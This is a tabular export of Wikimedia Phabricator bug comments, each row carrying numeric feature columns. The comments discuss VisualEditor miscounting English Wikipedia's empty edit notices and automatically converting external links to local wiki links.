201158,VisualEditor: Deal with en.wikipedia.org's edit notice system,Change-Id: I65447da8b88a9bae9c24ff155544ff66b3fe9100,,,1355358427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I65447da8b88a9bae9c24ff155544ff66b3fe9100
201153,VisualEditor: Deal with en.wikipedia.org's edit notice system,"The only thing we need in core for en.wikipedia to drop this (assuming they still actively want to have these red links) is to show a red link to where the edit notice can be edited/created. Once that is in core, the enwiki's template doesn't have to generate it and thus the actual edit notice will be empty.

As a workaround, I'll work on implementing a small jQuery plugin to calculate the visible text in an element. Then we can simply iterate over the edit notices in VE and ignore the ones with no visible text.",,,1355345877,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.5,0.5,6.0,2.0,0.0,0.0,0.0,4.5,1.5,0.0,0.5,0.0,2.5,1.0,4.5,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,2.5,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,12.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,8.5,2.5,4.5,1.0,2.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,11.0,2.5,0.0,0.0,0.0,3.5,0.0,0.5,3.0,0.0,1.5,0.0,0.0,0.0,3.8454545454545457,0.8090909090909091,"The only thing we need in core for en.wikipedia to drop this (assuming they still actively want to have these red links) is to show a red link to where the edit notice can be edited/created. Once that is in core, the enwiki's template doesn't have to generate it and thus the actual edit notice will be empty.

As a workaround, I'll work on implementing a small jQuery plugin to calculate the visible text in an element. Then we can simply iterate over the edit notices in VE and ignore the ones with no visible text."
201144,VisualEditor: Deal with en.wikipedia.org's edit notice system,"So, as a way around this, could we have a hacky exception? Or should we push upstream and suggest that core editnotices are adjusted so that every wiki has enwiki's system? (Presumably this would need a new Editnotice: namespace if they want general availability.)",,,1355339876,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,11.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,11.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,8.0,4.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,11.0,4.0,4.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.169811320754717,0.8679245283018868,"So, as a way around this, could we have a hacky exception? Or should we push upstream and suggest that core editnotices are adjusted so that every wiki has enwiki's system? (Presumably this would need a new Editnotice: namespace if they want general availability.)"
201140,VisualEditor: Deal with en.wikipedia.org's edit notice system,"It counts 2 because there are 2. One from VisualEditor (the default alpha-warning) and one from en.wikipedia.org.

English Wikipedia has this self-invented wikitext-organised edit notice system. Long story short, it means there is never not a notice. It always shows something.

In this case the edit notice that it loads is the following html:

<div id=""editnotice-area"" class=""editnotice-area"" style=""clear: both; width: 100%;""><div class=""editnotice-namespace"" style=""width: 100%;"">  </div><div class=""editnotice-link editnotice-redlink sysop-show accountcreator-show"" style=""clear: both; float: right; margin: 0px 0.8em; padding: 0; line-height: 1em; display: none;""> <small><a href=""/w/index.php?title=Template:Editnotices/Page/You_Can%27t_Make_a_Heart_Love_Somebody&amp;action=edit&amp;redlink=1"" class=""new"" title=""Template:Editnotices/Page/You Can't Make a Heart Love Somebody (page does not exist)"">Page notice</a></small> </div><div style=""clear: both;""></div> </div>

English Wikipedia uses Template:Editnotices to maintain their notices (embedded from a one-liner in the MediaWiki namespace) since they don't want to restrict it to sysops. Aside from that they want to advertise this template and make it easy to find. So when there is no edit notice, the template outputs a link to create one. This is not created by MediaWiki nor by VisualEditor.

However it isn't a mini-notice with a red link for most users. It is only visible to sysops and account creators (via the CSS class sysop-show and accountcreator-show), so for regular users it is just empty.",,,1355339266,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.5,0.0,0.25,1.75,3.0,1.25,0.25,0.0,0.0,0.75,0.75,0.0,0.25,0.75,0.0,0.0,4.0,6.0,0.75,1.5,0.0,0.25,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.0,5.25,3.5,2.5,0.5,0.25,0.0,0.0,0.0,0.0,0.25,0.75,0.0,0.25,0.25,0.0,0.0,0.0,0.25,19.0,0.25,1.0,0.25,0.75,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.75,0.0,0.25,0.0,0.0,0.0,3.25,2.25,8.75,1.0,1.75,5.5,0.0,0.0,0.0,0.0,2.25,0.0,2.75,0.0,3.5,6.0,6.5,0.0,2.0,0.0,3.5,0.0,0.25,1.75,0.0,0.25,0.0,0.25,2.75,4.305102848101265,0.6928006329113924,"It counts 2 because there are 2. One from VisualEditor (the default alpha-warning) and one from en.wikipedia.org.

English Wikipedia has this self-invented wikitext-organised edit notice system. Long story short, it means there is never not a notice. It always shows something.

In this case the edit notice that it loads is the following html:

<div id=""editnotice-area"" class=""editnotice-area"" style=""clear: both; width: 100%;""><div class=""editnotice-namespace"" style=""width: 100%;"">  </div><div class=""editnotice-link editnotice-redlink sysop-show accountcreator-show"" style=""clear: both; float: right; margin: 0px 0.8em; padding: 0; line-height: 1em; display: none;""> <small><a href=""/w/index.php?title=Template:Editnotices/Page/You_Can%27t_Make_a_Heart_Love_Somebody&amp;action=edit&amp;redlink=1"" class=""new"" title=""Template:Editnotices/Page/You Can't Make a Heart Love Somebody (page does not exist)"">Page notice</a></small> </div><div style=""clear: both;""></div> </div>

English Wikipedia uses Template:Editnotices to maintain their notices (embedded from a one-liner in the MediaWiki namespace) since they don't want to restrict it to sysops. Aside from that they want to advertise this template and make it easy to find. So when there is no edit notice, the template outputs a link to create one. This is not created by MediaWiki nor by VisualEditor.

However it isn't a mini-notice with a red link for most users. It is only visible to sysops and account creators (via the CSS class sysop-show and accountcreator-show), so for regular users it is just empty."
201133,VisualEditor: Deal with en.wikipedia.org's edit notice system,"It looks to me like it counts the edit notice as such even when none is present?

Separately but relatedly, it would probably be nicer to have features such as adding edit notices in the proposed metadata flyout, as opposed to showing a red link notice to users with the right to create notices.",,,1355336986,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,19.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,19.0,3.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,3.0,2.0,0.0,0.0,4.11864406779661,0.7627118644067796,"It looks to me like it counts the edit notice as such even when none is present?

Separately but relatedly, it would probably be nicer to have features such as adding edit notices in the proposed metadata flyout, as opposed to showing a red link notice to users with the right to create notices."
201126,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Yes, I just came to report the same. Confirming that VisualEditor on the English Wikipedia currently states there are two notices when only one is visible.",,,1355327320,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,14.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,7.0,21.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,3.0,7.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.482758620689655,0.9310344827586207,"Yes, I just came to report the same. Confirming that VisualEditor on the English Wikipedia currently states there are two notices when only one is visible."
44986,Automatically convert external links to local resources to local wiki links if possible,"Like this: https://www.mediawiki.org/w/index.php?title=VisualEditor:Test&diff=615802&oldid=615801

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1355298420,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-bbycowhblqb7wl5ri2sh,task_description,open,True,c1,1,False,False,,-29,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,0.5454545454545454,"Like this: URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1611911,Automatically convert external links to local resources to local wiki links if possible,,,,1604534063,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,383,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1611905,Automatically convert external links to local resources to local wiki links if possible,,,,1604532057,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,383,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
199594,Automatically convert external links to local resources to local wiki links if possible,*** Bug 57019 has been marked as a duplicate of this bug. ***,,,1397764105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57019 has been marked as a duplicate of this bug. ***
199589,Automatically convert external links to local resources to local wiki links if possible,"(In reply to Liangent from comment #11)
> (In reply to James Forrester from comment #10)
> > No, all edits - this is the same as [http://fr.wikipedia.org/wiki/Foo Bar]
> > being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already
> > does.
> 
> I feel there're still some deliberate use cases of external local links, for
> example, to prevent Echo notifications (see [[Template:Noping]]).

Users making hacks around bugs in Echo sounds like something we should fix in Echo so users don't have to do it, though. :-)",,,1397756178,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,17.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.423076923076923,0.6923076923076923,"(In reply to Liangent from comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Users making hacks around bugs in Echo sounds like something we should fix in Echo so users don't have to do it, though. :-)"
199584,Automatically convert external links to local resources to local wiki links if possible,"(In reply to James Forrester from comment #10)
> No, all edits - this is the same as [http://fr.wikipedia.org/wiki/Foo Bar]
> being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already
> does.

I feel there're still some deliberate use cases of external local links, for example, to prevent Echo notifications (see [[Template:Noping]]).",,,1397743062,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,41,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,12.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.64,0.8,"(In reply to James Forrester from comment #10)
QUOTE
QUOTE
QUOTE

I feel there're still some deliberate use cases of external local links, for example, to prevent Echo notifications (see [[Template:Noping]])."
199577,Automatically convert external links to local resources to local wiki links if possible,"(In reply to Liangent from comment #9)
> (In reply to James Forrester from comment #8)
> > Feels like this has consensus that we should convert newly-added
> > [http://en.wikipedia.org/wiki/foo] links to [[foo]] automatically; I think
> > that this should be done inside Parsoid, so moving there.
> 
> But only for VisualEditor edits? if Parsoid is going to be used in other
> stuff eg. bots.

No, all edits - this is the same as [http://fr.wikipedia.org/wiki/Foo Bar] being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already does.",,,1397742161,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,11.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.210526315789474,0.7192982456140351,"(In reply to Liangent from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, all edits - this is the same as [URL Bar] being automatically converted by Parsoid to [[:fr:Foo|Bar]] which it already does."
199568,Automatically convert external links to local resources to local wiki links if possible,"(In reply to James Forrester from comment #8)
> Feels like this has consensus that we should convert newly-added
> [http://en.wikipedia.org/wiki/foo] links to [[foo]] automatically; I think
> that this should be done inside Parsoid, so moving there.

But only for VisualEditor edits? if Parsoid is going to be used in other stuff eg. bots.",,,1397730019,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,19.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5135135135135136,0.8378378378378378,"(In reply to James Forrester from comment #8)
QUOTE
QUOTE
QUOTE

But only for VisualEditor edits? if Parsoid is going to be used in other stuff eg. bots."
199561,Automatically convert external links to local resources to local wiki links if possible,"Feels like this has consensus that we should convert newly-added [http://en.wikipedia.org/wiki/foo] links to [[foo]] automatically; I think that this should be done inside Parsoid, so moving there.",,,1397673447,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.810810810810811,0.8378378378378378,"Feels like this has consensus that we should convert newly-added [URL links to [[foo]] automatically; I think that this should be done inside Parsoid, so moving there."
199556,Automatically convert external links to local resources to local wiki links if possible,"Also, when users create a new article and want to link back to it immediately, they end up attaching ""?venotify=created"" to the external link they're copy/pasting, and this is something VE will need to strip before converting the URL to a wikilink.",,,1395682999,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,38,,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,6.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,13.0,2.0,2.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8333333333333335,0.7777777777777778,"Also, when users create a new article and want to link back to it immediately, they end up attaching ""?venotify=created"" to the external link they're copy/pasting, and this is something VE will need to strip before converting the URL to a wikilink."
199550,Automatically convert external links to local resources to local wiki links if possible,"I think maybe it should just recognize when a url points to an existing Wikipedia article, and offer that as an internal link option, similarly to the way that you get an internal link option for the article titled [[http://en.wikipedia.org/wiki/foo]]. That latter behavior represents a tiny edge case, though, as there are very few articles that start with http://. If there is ever going to be some sort of 'advanced' mode for links, then options to use external links to existing articles and internal links to articles starting http* should be hidden away there. In the vast majority of cases, users intend to create internal links if the article exists, and do not intend to create internal links to pages starting http*.

Incidentally, we want to add the same functionality to the EducationProgram extension for when users paste in a url to the article form: bug 44397.",,,1377277696,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,0.5,0.5,0.5,6.5,0.5,0.0,0.5,1.0,2.5,1.0,0.0,0.0,1.0,1.0,0.0,7.0,14.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,7.0,1.0,0.5,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,3.5,0.0,0.0,1.0,0.5,0.0,17.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.5,7.0,2.0,5.0,2.5,1.5,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,2.0,14.0,2.5,0.0,1.0,0.0,2.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,1.0,4.174698795180723,0.6867469879518072,"I think maybe it should just recognize when a url points to an existing Wikipedia article, and offer that as an internal link option, similarly to the way that you get an internal link option for the article titled [[URL That latter behavior represents a tiny edge case, though, as there are very few articles that start with URL If there is ever going to be some sort of 'advanced' mode for links, then options to use external links to existing articles and internal links to articles starting http* should be hidden away there. In the vast majority of cases, users intend to create internal links if the article exists, and do not intend to create internal links to pages starting http*.

Incidentally, we want to add the same functionality to the EducationProgram extension for when users paste in a url to the article form: bug 44397."
199545,Automatically convert external links to local resources to local wiki links if possible,"I'd go for ""prevent"". (Also, it would be really nice to have it soon).",,,1377094454,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.590909090909091,0.8636363636363636,"I'd go for ""prevent"". (Also, it would be really nice to have it soon)."
199539,Automatically convert external links to local resources to local wiki links if possible,"Seeing a few of these in the feed. Warn, perhaps? (In the link inspector dialog.)",,,1372610363,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,2,False,,,-1,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.1904761904761907,0.9047619047619048,"Seeing a few of these in the feed. Warn, perhaps? (In the link inspector dialog.)"
199535,Automatically convert external links to local resources to local wiki links if possible,"(In reply to comment #2)
> Sometimes it is done deliberately, e.g. at
> https://en.wikipedia.org/w/index.php?title=English_Wikipedia&oldid=558847653
> . 
> In that case, they do use olids (permalinks), which is a way you could
> distinguish if you wanted to do the auto-replacement.

We could do an always-replace for [http://foo/wiki/* $1], but that feels like a fragile regexp. :-(",,,1371420809,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.9047619047619047,0.8095238095238095,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We could do an always-replace for [URL $1], but that feels like a fragile regexp. :-("
